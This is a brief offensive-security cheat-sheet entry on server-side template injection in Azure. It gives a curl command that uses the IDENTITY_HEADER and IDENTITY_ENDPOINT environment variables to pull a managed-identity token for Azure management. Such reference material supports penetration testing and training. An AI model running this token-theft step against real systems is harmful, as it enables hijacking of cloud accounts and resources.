SSTI

If you get SSTI command execution, check IDENTITY_HEADER and IDENTITY_ENDPOINT variables in the env command.

curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com&api-version=2017-09-01" -H secret:$IDENTITY_HEADER

PreviousInsecure File UploadNextOS Command Injection

Last updated